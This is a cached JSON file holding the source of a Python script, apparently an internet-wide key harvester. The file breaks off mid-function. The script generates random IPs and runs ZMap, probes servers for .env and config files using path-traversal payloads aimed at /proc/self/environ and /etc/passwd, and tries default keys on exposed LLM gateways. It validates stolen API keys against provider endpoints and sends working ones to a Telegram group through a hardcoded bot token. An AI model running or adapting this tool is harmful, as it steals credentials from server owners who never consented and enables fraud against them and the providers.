Files
hack/tools/scripts/llm-key-hunter/results/_cache/content/bankai-max-wow_infinite-llm-scanner.json

1 line
195 KiB
JSON

{"repo": "bankai-max-wow/infinite-llm-scanner", "files": {"infinite_scanner.py": {"3910a1b4831a34a08ae9149c7dffbb994eb9c3c5": {"t": 1785747469.2993689, "n": 44650, "h": "8dc06b941b67f2c3", "c": "#!/usr/bin/env python3\nr'''\nINFINITE LLM GATEWAY + KEY SCANNER\n==================================\nLong-running scanner for VM deployment.\nFeatures:\n 1. IP Generator - builds target list from port_4000.json + random IP generation\n 2. Niansuh Config Scanner - port 3000 config file key extraction\n 3. LLM Gateway Tester - tests LiteLLM (sk-1234), Ollama, vLLM, etc.\n 4. API Key Validator - verifies extracted keys against real provider APIs\n 5. Telegram Reporter - sends ONLY working keys to group\n\nTelegram:\n Bot: 8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs\n Group: -1003732431449\n\nUsage:\n python infinite_scanner.py # Full infinite run\n python infinite_scanner.py --test # Test mode (small sample)\n python infinite_scanner.py --niansuh-only # Only scan config files\n python infinite_scanner.py --gate-only # Only test LLM gateways\n'''\n\nimport asyncio\nimport aiohttp\nimport json\nimport os\nimport re\nimport sys\nimport time\nimport random\nimport argparse\nimport ipaddress\nfrom datetime import datetime\nfrom pathlib import Path\nfrom collections import defaultdict, Counter\n\n# ═══════════════════════════════════════════════════════════════\n# CONFIG\n# ═══════════════════════════════════════════════════════════════\n\nBASE_DIR = Path(__file__).parent.resolve()\nOUTPUT_DIR = BASE_DIR / 'scan_output'\nOUTPUT_DIR.mkdir(exist_ok=True)\n\nSTATE_FILE = OUTPUT_DIR / 'scan_state.json'\nSEEN_KEYS_FILE = OUTPUT_DIR / 'seen_keys.json'\nSEEN_IPS_FILE = OUTPUT_DIR / 'seen_ips.json'\nFOUND_KEYS_FILE = OUTPUT_DIR / 'found_working_keys.json'\nFOUND_GATES_FILE = OUTPUT_DIR / 'found_working_gates.json'\nSCAN_LOG = OUTPUT_DIR / 'scan_log.jsonl'\n\n# Telegram config\nTELEGRAM_BOT_TOKEN = '8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs'\nTELEGRAM_CHAT_ID = '-1003732431449'\n\n# Concurrency\nSCAN_CONCURRENT = 150\nAUTH_CONCURRENT = 100\nCHAT_CONCURRENT = 60\n\n# Timeouts\nSCAN_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nAUTH_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nCHAT_TIMEOUT = aiohttp.ClientTimeout(total=25, connect=5)\nKEY_VALIDATE_TIMEOUT = aiohttp.ClientTimeout(total=30, connect=5)\n\n# Cycle sleep (seconds between IP batch scans)\nCYCLE_SLEEP = 60\n\n# Batch sizes\nIPS_PER_BATCH = 3000\nNIANSUH_PATHS_PER_TARGET = 18\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM\n# ═══════════════════════════════════════════════════════════════\n\nasync def send_telegram(message: str, bot_token: str = TELEGRAM_BOT_TOKEN,\n chat_id: str = TELEGRAM_CHAT_ID) -> bool:\n url = f'https://api.telegram.org/bot{bot_token}/sendMessage'\n payload = {'chat_id': chat_id, 'text': message, 'parse_mode': 'HTML'}\n try:\n async with aiohttp.ClientSession() as sess:\n async with sess.post(url, json=payload, timeout=aiohttp.ClientTimeout(total=10)) as resp:\n return resp.status == 200\n except Exception as e:\n print(f' [TG ERROR] {e}')\n return False\n\n\ndef format_key_message(provider: str, key_value: str, source_url: str,\n models: list, key_type: str = 'api_key') -> str:\n '''Format a key find message exactly like Niansuh's format.'''\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n return f'''🔑 KEY FOUND — {provider}\n━━━━━━━━━━━━━━━━━━━━━━\n🏷 Provider: {provider}\n🔐 Key: {key_value}\n🌐 Source: {source_url}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\ndef format_gate_message(ip: str, port: int, framework: str, working_key: str,\n models: list, source: str = '') -> str:\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n key_display = working_key if working_key else '(no-auth)'\n return f'''🅰️ LLM GATE FOUND — {framework}\n━━━━━━━━━━━━━━━━━━━━━━\n🌐 Endpoint: http://{ip}:{port}\n🔑 Key: {key_display}\n🏷 Framework: {framework}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\n# ═══════════════════════════════════════════════════════════════\n# IP GENERATOR\n# ═══════════════════════════════════════════════════════════════\n\n# Cloud provider IP ranges for targeted scanning\nCLOUD_RANGES = [\n # AWS\n ('3.0.0.0', '3.255.255.255'),\n ('18.0.0.0', '18.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('44.0.0.0', '44.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n # Azure\n ('13.64.0.0', '13.255.255.255'),\n ('20.0.0.0', '20.255.255.255'),\n ('40.0.0.0', '40.127.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('108.0.0.0', '108.255.255.255'),\n # Google Cloud\n ('34.0.0.0', '34.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('142.0.0.0', '142.255.255.255'),\n # DigitalOcean\n ('64.0.0.0', '64.255.255.255'),\n ('128.0.0.0', '128.255.255.255'),\n ('138.0.0.0', '138.255.255.255'),\n ('159.0.0.0', '159.255.255.255'),\n ('165.0.0.0', '165.255.255.255'),\n ('167.0.0.0', '167.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('192.0.0.0', '192.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n # Hetzner\n ('5.0.0.0', '5.255.255.255'),\n ('6.0.0.0', '6.255.255.255'),\n ('7.0.0.0', '7.255.255.255'),\n ('9.0.0.0', '9.255.255.255'),\n ('10.0.0.0', '10.255.255.255'),\n # OVH\n ('51.0.0.0', '51.255.255.255'),\n ('57.0.0.0', '57.255.255.255'),\n ('87.0.0.0', '87.255.255.255'),\n ('91.0.0.0', '91.255.255.255'),\n ('92.0.0.0', '92.255.255.255'),\n ('93.0.0.0', '93.255.255.255'),\n ('94.0.0.0', '94.255.255.255'),\n ('95.0.0.0', '95.255.255.255'),\n ('141.0.0.0', '141.255.255.255'),\n ('147.0.0.0', '147.255.255.255'),\n # Other popular\n ('45.0.0.0', '45.255.255.255'),\n ('46.0.0.0', '46.255.255.255'),\n ('47.0.0.0', '47.255.255.255'),\n ('62.0.0.0', '62.255.255.255'),\n ('65.0.0.0', '65.255.255.255'),\n ('66.0.0.0', '66.255.255.255'),\n ('72.0.0.0', '72.255.255.255'),\n ('74.0.0.0', '74.255.255.255'),\n ('75.0.0.0', '75.255.255.255'),\n ('76.0.0.0', '76.255.255.255'),\n ('77.0.0.0', '77.255.255.255'),\n ('78.0.0.0', '78.255.255.255'),\n ('79.0.0.0', '79.255.255.255'),\n ('80.0.0.0', '80.255.255.255'),\n ('81.0.0.0', '81.255.255.255'),\n ('82.0.0.0', '82.255.255.255'),\n ('83.0.0.0', '83.255.255.255'),\n ('84.0.0.0', '84.255.255.255'),\n ('85.0.0.0', '85.255.255.255'),\n ('86.0.0.0', '86.255.255.255'),\n ('89.0.0.0', '89.255.255.255'),\n ('103.0.0.0', '103.255.255.255'),\n ('107.0.0.0', '107.255.255.255'),\n ('113.0.0.0', '113.255.255.255'),\n ('114.0.0.0', '114.255.255.255'),\n ('115.0.0.0', '115.255.255.255'),\n ('116.0.0.0', '116.255.255.255'),\n ('120.0.0.0', '120.255.255.255'),\n ('121.0.0.0', '121.255.255.255'),\n ('122.0.0.0', '122.255.255.255'),\n ('123.0.0.0', '123.255.255.255'),\n ('129.0.0.0', '129.255.255.255'),\n ('130.0.0.0', '130.255.255.255'),\n ('132.0.0.0', '132.255.255.255'),\n ('134.0.0.0', '134.255.255.255'),\n ('136.0.0.0', '136.255.255.255'),\n ('144.0.0.0', '144.255.255.255'),\n ('152.0.0.0', '152.255.255.255'),\n ('157.0.0.0', '157.255.255.255'),\n ('158.0.0.0', '158.255.255.255'),\n ('160.0.0.0', '160.255.255.255'),\n ('161.0.0.0', '161.255.255.255'),\n ('164.0.0.0', '164.255.255.255'),\n ('169.0.0.0', '169.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('171.0.0.0', '171.255.255.255'),\n ('172.0.0.0', '172.31.255.255'),\n ('176.0.0.0', '176.255.255.255'),\n ('178.0.0.0', '178.255.255.255'),\n ('179.0.0.0', '179.255.255.255'),\n ('180.0.0.0', '180.255.255.255'),\n ('181.0.0.0', '181.255.255.255'),\n ('182.0.0.0', '182.255.255.255'),\n ('183.0.0.0', '183.255.255.255'),\n ('185.0.0.0', '185.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n ('196.0.0.0', '196.255.255.255'),\n ('197.0.0.0', '197.255.255.255'),\n ('198.0.0.0', '198.255.255.255'),\n ('199.0.0.0', '199.255.255.255'),\n ('200.0.0.0', '200.255.255.255'),\n ('201.0.0.0', '201.255.255.255'),\n ('202.0.0.0', '202.255.255.255'),\n ('203.0.0.0', '203.255.255.255'),\n ('204.0.0.0', '204.255.255.255'),\n ('205.0.0.0', '205.255.255.255'),\n ('206.0.0.0', '206.255.255.255'),\n ('207.0.0.0', '207.255.255.255'),\n ('208.0.0.0', '208.255.255.255'),\n ('209.0.0.0', '209.255.255.255'),\n ('211.0.0.0', '211.255.255.255'),\n ('212.0.0.0', '212.255.255.255'),\n ('213.0.0.0', '213.255.255.255'),\n ('214.0.0.0', '214.255.255.255'),\n ('215.0.0.0', '215.255.255.255'),\n ('216.0.0.0', '216.255.255.255'),\n ('217.0.0.0', '217.255.255.255'),\n ('218.0.0.0', '218.255.255.255'),\n ('219.0.0.0', '219.255.255.255'),\n ('220.0.0.0', '220.255.255.255'),\n ('221.0.0.0', '221.255.255.255'),\n ('222.0.0.0', '222.255.255.255'),\n ('223.0.0.0', '223.255.255.255'),\n]\n\n# Common /24 blocks for port 3000 (dev servers, web frameworks)\nDEV_SERVER_SUBNETS = [\n # Web dev ranges\n '3.0.0.0/8', '18.0.0.0/8', '52.0.0.0/8', '54.0.0.0/8',\n '35.0.0.0/8', '13.0.0.0/8', '20.0.0.0/8', '40.0.0.0/8',\n '104.0.0.0/8', '34.0.0.0/8', '142.0.0.0/8',\n '64.0.0.0/8', '128.0.0.0/8', '138.0.0.0/8', '159.0.0.0/8',\n '165.0.0.0/8', '167.0.0.0/8', '170.0.0.0/8',\n '5.0.0.0/8', '6.0.0.0/8', '7.0.0.0/8', '9.0.0.0/8',\n '51.0.0.0/8', '57.0.0.0/8', '87.0.0.0/8', '91.0.0.0/8',\n '92.0.0.0/8', '93.0.0.0/8', '94.0.0.0/8', '95.0.0.0/8',\n '141.0.0.0/8', '147.0.0.0/8',\n '45.0.0.0/8', '46.0.0.0/8', '47.0.0.0/8',\n '62.0.0.0/8', '65.0.0.0/8', '66.0.0.0/8',\n '72.0.0.0/8', '74.0.0.0/8', '75.0.0.0/8', '76.0.0.0/8',\n '77.0.0.0/8', '78.0.0.0/8', '79.0.0.0/8', '80.0.0.0/8',\n '81.0.0.0/8', '82.0.0.0/8', '83.0.0.0/8', '84.0.0.0/8',\n '85.0.0.0/8', '86.0.0.0/8', '89.0.0.0/8',\n '103.0.0.0/8', '107.0.0.0/8', '113.0.0.0/8',\n '114.0.0.0/8', '115.0.0.0/8', '116.0.0.0/8',\n '120.0.0.0/8', '121.0.0.0/8', '122.0.0.0/8', '123.0.0.0/8',\n '129.0.0.0/8', '130.0.0.0/8', '132.0.0.0/8', '134.0.0.0/8',\n '136.0.0.0/8', '144.0.0.0/8', '152.0.0.0/8',\n '157.0.0.0/8', '158.0.0.0/8', '160.0.0.0/8', '161.0.0.0/8',\n '164.0.0.0/8', '169.0.0.0/8', '171.0.0.0/8',\n '176.0.0.0/8', '178.0.0.0/8', '179.0.0.0/8',\n '180.0.0.0/8', '181.0.0.0/8', '182.0.0.0/8', '183.0.0.0/8',\n '185.0.0.0/8', '188.0.0.0/8', '193.0.0.0/8', '194.0.0.0/8',\n '195.0.0.0/8', '196.0.0.0/8', '197.0.0.0/8',\n '198.0.0.0/8', '199.0.0.0/8', '200.0.0.0/8', '201.0.0.0/8',\n '202.0.0.0/8', '203.0.0.0/8', '204.0.0.0/8', '205.0.0.0/8',\n '206.0.0.0/8', '207.0.0.0/8', '208.0.0.0/8', '209.0.0.0/8',\n '211.0.0.0/8', '212.0.0.0/8', '213.0.0.0/8', '214.0.0.0/8',\n '215.0.0.0/8', '216.0.0.0/8', '217.0.0.0/8', '218.0.0.0/8',\n '219.0.0.0/8', '220.0.0.0/8', '221.0.0.0/8', '222.0.0.0/8',\n '223.0.0.0/8',\n]\n\n# ═══════════════════════════════════════════════════════════════\n# ZMAP INTEGRATION\n# ═══════════════════════════════════════════════════════════════\n\nimport subprocess\n\nZMAP_CACHE_DIR = OUTPUT_DIR / 'zmap_cache'\nZMAP_CACHE_DIR.mkdir(exist_ok=True)\n\ndef is_zmap_available() -> bool:\n \"\"\"Check if ZMap is installed and accessible.\"\"\"\n try:\n result = subprocess.run(['zmap', '--version'], \n capture_output=True, text=True, timeout=5)\n return result.returncode == 0\n except (FileNotFoundError, subprocess.TimeoutExpired):\n return False\n\n\ndef run_zmap_scan(port: int, \n output_file: str = None,\n bandwidth: str = '10M',\n probe_rate: int = 1000,\n max_probes: int = None,\n blacklist_file: str = None,\n timeout: int = 300) -> list:\n \"\"\"\n Run ZMap port scan and return list of IPs with open port.\n \n Args:\n port: Port to scan (e.g., 3000, 4000, 8000)\n output_file: Optional file to save raw ZMap output\n bandwidth: Rate limit (e.g., '10M', '50M', '100M')\n probe_rate: Packets per second (default 1000)\n max_probes: Maximum probes to send (None = unlimited)\n blacklist_file: Path to blacklist file (IPs/ranges to skip)\n timeout: Max seconds to wait for scan\n \n Returns:\n List of IPs with open port\n \"\"\"\n if not is_zmap_available():\n print(f' [ZMAP] ZMap not found - skipping port {port}')\n return []\n \n # Generate output file path if not provided\n if output_file is None:\n ts = datetime.now().strftime('%Y%m%d_%H%M%S')\n output_file = str(ZMAP_CACHE_DIR / f'zmap_port{port}_{ts}.txt')\n \n # Build ZMap command\n cmd = [\n 'zmap',\n '-p', str(port),\n '-o', output_file,\n '-B', bandwidth,\n '-r', str(probe_rate),\n '-q', # Quiet mode\n ]\n \n # Add max probes if specified\n if max_probes:\n cmd.extend(['-n', str(max_probes)])\n \n # Add blacklist if specified\n if blacklist_file and os.path.exists(blacklist_file):\n cmd.extend(['--blacklist-file', blacklist_file])\n \n print(f' [ZMAP] Scanning port {port} at {bandwidth} bandwidth...')\n print(f' [ZMAP] Command: {\" \".join(cmd)}')\n \n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)\n if result.returncode != 0:\n print(f' [ZMAP] Scan failed: {result.stderr}')\n return []\n \n # Parse output file (one IP per line)\n ips = []\n if os.path.exists(output_file):\n with open(output_file) as f:\n for line in f:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n ips.append(ip)\n \n print(f' [ZMAP] Found {len(ips)} IPs with port {port} open')\n return ips\n \n except subprocess.TimeoutExpired:\n print(f' [ZMAP] Scan timed out after {timeout}s')\n return []\n except Exception as e:\n print(f' [ZMAP] Error: {e}')\n return []\n\n\ndef scan_ports_with_zmap(ports: list = None,\n batch_size: int = 10000,\n bandwidth: str = '5M') -> dict:\n \"\"\"\n Scan multiple ports using ZMap and return IPs grouped by port.\n \n Args:\n ports: List of ports to scan (default: [3000, 4000, 8000])\n batch_size: Max IPs to collect per port\n bandwidth: ZMap bandwidth limit\n \n Returns:\n Dict mapping port -> list of IPs\n \"\"\"\n if ports is None:\n ports = [3000, 4000, 8000]\n \n if not is_zmap_available():\n print(f' [ZMAP] ZMap not installed - install from: https://github.com/zmap/zmap')\n return {port: [] for port in ports}\n \n results = {}\n for port in ports:\n print(f'\\n [ZMAP] === Scanning port {port} ===')\n ips = run_zmap_scan(\n port=port,\n bandwidth=bandwidth,\n probe_rate=ZMAP_RATE,\n timeout=600 # 10 min timeout per port\n )\n # Limit to batch_size\n results[port] = ips[:batch_size]\n print(f' [ZMAP] Collected {len(results[port])}/{len(ips)} IPs for port {port}')\n \n return results\n\n\ndef load_zmap_results_from_file(port: int) -> list:\n \"\"\"Load cached ZMap results for a port from previous scans.\"\"\"\n cache_dir = ZMAP_CACHE_DIR\n if not cache_dir.exists():\n return []\n \n all_ips = []\n for f in cache_dir.glob(f'zmap_port{port}_*.txt'):\n try:\n with open(f) as fp:\n for line in fp:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n all_ips.append(ip)\n except:\n pass\n \n return list(set(all_ips))\n\n\ndef zmap_to_targets(zmap_results: dict) -> list:\n \"\"\"\n Convert ZMap results to target format used by scanner.\n \n Args:\n zmap_results: Dict mapping port -> list of IPs\n \n Returns:\n List of target dicts with ip, port, source\n \"\"\"\n targets = []\n seen = load_seen_ips()\n \n for port, ips in zmap_results.items():\n for ip in ips:\n key = f'{ip}:{port}'\n if key not in seen:\n targets.append({\n 'ip': ip,\n 'port': port,\n 'source': 'zmap',\n 'subnet': f'{ip.rsplit(\".\", 1)[0]}.0/24',\n })\n seen.add(key)\n \n save_seen_ips(seen)\n return targets\n\n\n# /24 blocks to scan (subnets within larger ranges)\ndef generate_ip_batch(count: int = 3000) -> list:\n '''Generate random IPs for port 3000 scanning.'''\n targets = []\n seen = load_seen_ips()\n count_per_subnet = max(50, count // len(DEV_SERVER_SUBNETS))\n\n for subnet in DEV_SERVER_SUBNETS:\n try:\n net = ipaddress.ip_network(subnet, strict=False)\n # Get 256 IPs from random positions in this /24\n all_hosts = list(net.hosts())\n if len(all_hosts) >= count_per_subnet:\n random.shuffle(all_hosts)\n batch = all_hosts[:count_per_subnet]\n else:\n batch = all_hosts\n for ip in batch:\n ip_str = str(ip)\n key = f'{ip_str}:3000'\n if key not in seen:\n targets.append({\n 'ip': ip_str,\n 'port': 3000,\n 'source': 'generated',\n 'subnet': subnet,\n })\n seen.add(key)\n except Exception:\n pass\n if len(targets) >= count:\n break\n\n save_seen_ips(seen)\n return targets[:count]\n\n\n# ═══════════════════════════════════════════════════════════════\n# STATE MANAGEMENT\n# ═══════════════════════════════════════════════════════════════\n\ndef load_seen_ips() -> set:\n if Path(SEEN_IPS_FILE).exists():\n try:\n return set(json.load(open(SEEN_IPS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_ips(seen: set):\n json.dump(list(seen), open(SEEN_IPS_FILE, 'w'))\n\n\ndef load_seen_keys() -> set:\n if Path(SEEN_KEYS_FILE).exists():\n try:\n return set(json.load(open(SEEN_KEYS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_keys(seen: set):\n json.dump(list(seen), open(SEEN_KEYS_FILE, 'w'))\n\n\ndef load_found_keys() -> list:\n if Path(FOUND_KEYS_FILE).exists():\n try:\n return json.load(open(FOUND_KEYS_FILE))\n except:\n return []\n return []\n\n\ndef save_found_key(entry: dict):\n keys = load_found_keys()\n keys.append(entry)\n json.dump(keys, open(FOUND_KEYS_FILE, 'w'), indent=2)\n\n\ndef load_found_gates() -> list:\n if Path(FOUND_GATES_FILE).exists():\n try:\n return json.load(open(FOUND_GATES_FILE))\n except:\n return []\n return []\n\n\ndef save_found_gate(entry: dict):\n gates = load_found_gates()\n gates.append(entry)\n json.dump(gates, open(FOUND_GATES_FILE, 'w'), indent=2)\n\n\ndef append_log(entry: dict):\n with open(SCAN_LOG, 'a') as f:\n f.write(json.dumps(entry, default=str) + '\\n')\n\n\n# ═══════════════════════════════════════════════════════════════\n# NIANSUH CONFIG FILE PATHS\n# ═══════════════════════════════════════════════════════════════\n\nNIANSUH_PATHS = [\n '/.env',\n '/.env.local',\n '/.env.production',\n '/.env.development',\n '/server.js',\n '/config.js',\n '/app.config.js',\n '/next.config.js',\n '/api/config',\n '/api/settings',\n '/ecosystem.config.js',\n '/package.json',\n '/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw??',\n '/@fs/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?raw??',\n '/src/config.js',\n '/src/server.js',\n '/lib/config.js',\n '/lib/server.js',\n '/config.json',\n '/settings.json',\n '/app.js',\n '/data/config.json',\n '/api/v1/config',\n '/api/v1/settings',\n '/config/env.js',\n '/.npmrc',\n '/.yarnrc',\n '/tsconfig.json',\n '/vite.config.ts',\n '/vite.config.js',\n '/webpack.config.js',\n]\n\n\n# ═══════════════════════════════════════════════════════════════\n# KEY EXTRACTION REGEX\n# ═══════════════════════════════════════════════════════════════\n\nKEY_PATTERNS = [\n (r'sk-or-v1-[a-zA-Z0-9]{64}', 'OpenRouter'),\n (r'sk-ant-api03-[a-zA-Z0-9_\\\\-]{95,}', 'Anthropic'),\n (r'sk-proj-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-svcacct-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-[a-f0-9]{32}', 'DeepSeek'),\n (r'sk-[a-zA-Z0-9]{48,}', 'OpenAI_Legacy'),\n (r'sk-[a-zA-Z0-9]{20,47}', 'Generic_OpenAI'),\n (r'AIzaSy[a-zA-Z0-9_\\\"]{33}', 'Gemini'),\n (r'hf_[a-zA-Z0-9]{34}', 'HuggingFace'),\n (r'xai-[a-zA-Z0-9]{20,}', 'xAI'),\n (r'gsk_[a-zA-Z0-9]{20,}', 'Groq'),\n (r'OPENAI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'OpenAI_env'),\n (r'ANTHROPIC_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Anthropic_env'),\n (r'GEMINI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Gemini_env'),\n (r'DEEPSEEK_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'DeepSeek_env'),\n (r'LITELLM_MASTER_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{8,})', 'LiteLLM'),\n (r'api[_-]?key[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Generic_API'),\n]\n\nFAKE_KEYS = {\n 'sk-1234', 'sk-1234567890', 'sk-', 'sk-your', 'sk-xxx',\n 'sk-key', 'sk-test', 'sk-demo', 'sk-example',\n}\n\n\ndef is_fake_key(k: str) -> bool:\n if not k or len(k) < 8:\n return True\n k_lower = k.lower().strip()\n for fake in FAKE_KEYS:\n if k_lower == fake or k_lower.startswith(fake):\n return True\n return False\n\n\ndef extract_keys(text: str) -> list:\n found = []\n seen = set()\n for pattern, key_type in KEY_PATTERNS:\n for m in re.finditer(pattern, text, re.IGNORECASE):\n val = m.group(1) if m.lastindex else m.group(0)\n val = val.strip().strip('\"').strip(\"'\")\n if is_fake_key(val) or val in seen:\n continue\n seen.add(val)\n found.append({'type': key_type, 'value': val, 'source': m.group(0)[:80]})\n return found\n\n\n# ═══════════════════════════════════════════════════════════════\n# LLM GATEWAY CONFIGS\n# ═══════════════════════════════════════════════════════════════\n\nLITE_LLM_KEYS = ['', 'sk-1234', 'sk-1234567890', 'sk-111111111111111111111111111111111111111111111111']\nOLLAMA_KEYS = ['', 'ollama', 'sk-ollama']\nVLLM_KEYS = ['', 'EMPTY']\nLOCALAI_KEYS = ['', 'localai', 'sk-localai']\n\nGATE_CONFIGS = {\n 'LiteLLM': {\n 'ports': [4000, 4001, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'Ollama': {\n 'ports': [11434, 3000],\n 'models_path': '/api/tags',\n 'chat_path': '/api/generate',\n 'alt_chat_path': '/v1/chat/completions',\n 'keys': OLLAMA_KEYS,\n 'model_field': 'models[].name',\n },\n 'vLLM': {\n 'ports': [8000, 8001, 8080],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': VLLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'LocalAI': {\n 'ports': [8080, 9000, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LOCALAI_KEYS,\n 'model_field': 'data[].id',\n },\n 'OpenWebUI': {\n 'ports': [3000, 8080],\n 'models_path': '/api/models',\n 'chat_path': '/api/chat/completions',\n 'keys': [''],\n 'model_field': 'data[].id',\n },\n 'Generic': {\n 'ports': [3000, 4000, 8000, 8080, 9000, 11434, 80],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n}\n\n\ndef parse_models(data, field_path):\n models = []\n if not data:\n return models\n if field_path == 'models[].name' and isinstance(data, dict):\n for item in data.get('models', []):\n if isinstance(item, dict):\n n = item.get('name') or item.get('id', '')\n if n:\n models.append(str(n))\n elif field_path == 'data[].id':\n for item in data.get('data', []):\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n if not models:\n for key in ['data', 'models', 'result']:\n arr = data.get(key, [])\n if isinstance(arr, list):\n for item in arr:\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n return models[:100]\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 1: SCAN PORT 3000 (NIANSUH CONFIG FILES)\n# ═══════════════════════════════════════════════════════════════\n\nasync def scan_niansuh_target(session, ip, port, sem):\n '''Scan one IP on all Niansuh config paths. Returns list of found key entries.'''\n base = f'http://{ip}:{port}'\n results = []\n\n async with sem:\n for path in NIANSUH_PATHS:\n try:\n url = base + path\n async with session.get(url, ssl=False, timeout=SCAN_TIMEOUT) as resp:\n if resp.status != 200:\n continue\n text = await resp.text(errors='replace')\n if len(text) < 20:\n continue\n keys = extract_keys(text)\n for k in keys:\n results.append({\n 'ip': ip,\n 'port': port,\n 'source_path': path,\n 'source_url': url,\n 'key_type': k['type'],\n 'key_value': k['value'],\n 'ts': datetime.now().isoformat(),\n })\n if keys:\n break # Found on this path, move to next IP\n except Exception:\n pass\n\n return results\n\n\nasync def run_niansuh_scan(targets: list, concurrent: int = 150) -> list:\n print(f'\\n[NIANSUH] Scanning {len(targets)} targets on port 3000...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n all_keys = []\n seen_keys = load_seen_keys()\n done = 0\n\n async with aiohttp.ClientSession(timeout=SCAN_TIMEOUT, connector=connector) as sess:\n coros = [scan_niansuh_target(sess, t['ip'], t['port'], sem) for t in targets]\n for coro in asyncio.as_completed(coros):\n results = await coro\n all_keys.extend(results)\n done += 1\n if done % 200 == 0:\n print(f' [{done}/{len(targets)}] keys_so_far={len(all_keys)}')\n\n # Filter to new keys only\n new_keys = [k for k in all_keys if k['key_value'] not in seen_keys]\n for k in new_keys:\n seen_keys.add(k['key_value'])\n save_seen_keys(seen_keys)\n\n print(f' Found {len(all_keys)} total, {len(new_keys)} new')\n return new_keys\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 2: VALIDATE API KEYS\n# ═══════════════════════════════════════════════════════════════\n\nVALIDATORS = {\n 'OpenAI': {\n 'endpoint': 'https://api.openai.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'Anthropic': {\n 'endpoint': 'https://api.anthropic.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'OpenRouter': {\n 'endpoint': 'https://openrouter.ai/api/v1/models',\n 'header': '',\n 'prefix': '',\n },\n 'Gemini': {\n 'endpoint': None, # Uses query param ?key=\n 'header': '',\n 'prefix': '',\n },\n 'DeepSeek': {\n 'endpoint': 'https://api.deepseek.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'HuggingFace': {\n 'endpoint': 'https://huggingface.co/api/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n}\n\n\nasync def validate_key(session, key_entry: dict, sem) -> dict:\n '''Validate an API key by hitting the provider's models endpoint.'''\n k_type = key_entry.get('key_type', '')\n k_val = key_entry.get('key_value', '')\n result = {**key_entry, 'status': 'untested', 'models': [], 'validated_at': datetime.now().isoformat()}\n\n # Map key type to validator\n provider = k_type.split('_')[0] if '_' in k_type else k_type\n if provider not in VALIDATORS and k_type not in VALIDATORS:\n provider = 'OpenAI' # Default\n\n validator_key = k_type if k_type in VALIDATORS else provider\n if validator_key not in VALIDATORS:\n validator_key = provider if provider in VALIDATORS else 'OpenAI'\n val_config = VALIDATORS.get(validator_key, VALIDATORS['OpenAI'])\n\n async with sem:\n try:\n endpoint = val_config['endpoint']\n header = val_config['header']\n prefix = val_config['prefix']\n\n if validator_key == 'Gemini':\n # Gemini uses API key in query param\n ep = f'https://generativelanguage.googleapis.com/v1beta/models?key={k_val}'\n headers = {}\n elif validator_key == 'OpenRouter':\n # OpenRouter doesn't require auth for model list\n ep = endpoint\n headers = {}\n else:\n ep = endpoint\n headers = {'Content-Type': 'application/json'}\n if header:\n 